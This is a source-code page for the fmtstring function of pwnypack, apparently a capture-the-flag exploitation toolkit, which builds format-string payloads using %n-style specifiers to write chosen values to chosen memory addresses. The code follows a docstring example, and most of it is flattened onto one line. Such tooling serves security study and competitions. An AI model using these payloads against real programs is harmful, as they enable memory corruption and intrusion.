Source code for pwnypack.fmtstring

"""
The fmtstring module allows you to build format strings that can be used to
exploit format string bugs (`printf(buf);`).
"""


import pwnypack.target
import pwnypack.packing


__all__ = ['fmtstring']


FMTSTRING_OPS = {
    1: b'hhn',
    2: b'hn',
    4: b'n',
}


[docs]def fmtstring(offset, writes, written=0, max_width=2, target=None): """ Build a format string that writes given data to given locations. Can be used easily create format strings to exploit format string bugs. `writes` is a list of 2- or 3-item tuples. Each tuple represents a memory write starting with an absolute address, then the data to write as an integer and finally the width (1, 2, 4 or 8) of the write. :func:`fmtstring` will break up the writes and try to optimise the order to minimise the amount of dummy output generated. Args: offset(int): The parameter offset where the format string start. writes(list): A list of 2 or 3 item tuples. written(int): How many bytes have already been written before the built format string starts. max_width(int): The maximum width of the writes (1, 2 or 4). target(:class:`pwnypack.target.Target`): The target architecture. Returns: bytes: The format string that will execute the specified memory writes. Example: The following example will (on a 32bit architecture) build a format string that write 0xc0debabe to the address 0xdeadbeef and the byte 0x90 to 0xdeadbeef + 4 assuming that the input buffer is located at offset 3 on the stack. >>> from pwny import * >>> fmtstring(3, [(0xdeadbeef, 0xc0debabe), (0xdeadbeef + 4, 0x90, 1)]) """ if max_width not in (1, 2, 4): raise ValueError('max_width should be 1, 2 or 4') if target is None: target = pwnypack.target.target addrs = [] cmds = [] piece_writes = [] for write in writes: if len(write) == 2: addr, value = write width = target.bits // 8 else: addr, value, width = write if width not in (1, 2, 4, 8): raise ValueError('Invalid write width') piece_width = min(max_width, width) piece_value = getattr(pwnypack.packing, 'P%d' % (8 * width))(value, target=target) piece_unpack = getattr(pwnypack.packing, 'U%d' % (piece_width * 8)) for i in range(0, width, piece_width): piece_writes.append((piece_width, addr, piece_unpack(piece_value[i:i + piece_width], target=target))) addr += piece_width written += len(piece_writes) * int(target.bits) // 8 piece_writes.sort(key=lambda w_a_v: (w_a_v[2] - written) % (2 ** (max_width * 8))) for piece_width, piece_addr, piece_value in piece_writes: addrs.append(pwnypack.packing.P(piece_addr, target=target)) piece_modulo = 2 ** (piece_width * 8) padding = (piece_value - written) % piece_modulo if padding: cmds.append(b'%' + str(padding).encode('ascii') + b'c') written = piece_value cmds.append(b'%' + str(offset).encode('ascii') + b'$' + FMTSTRING_OPS[piece_width]) offset += 1 return b''.join(addrs + cmds)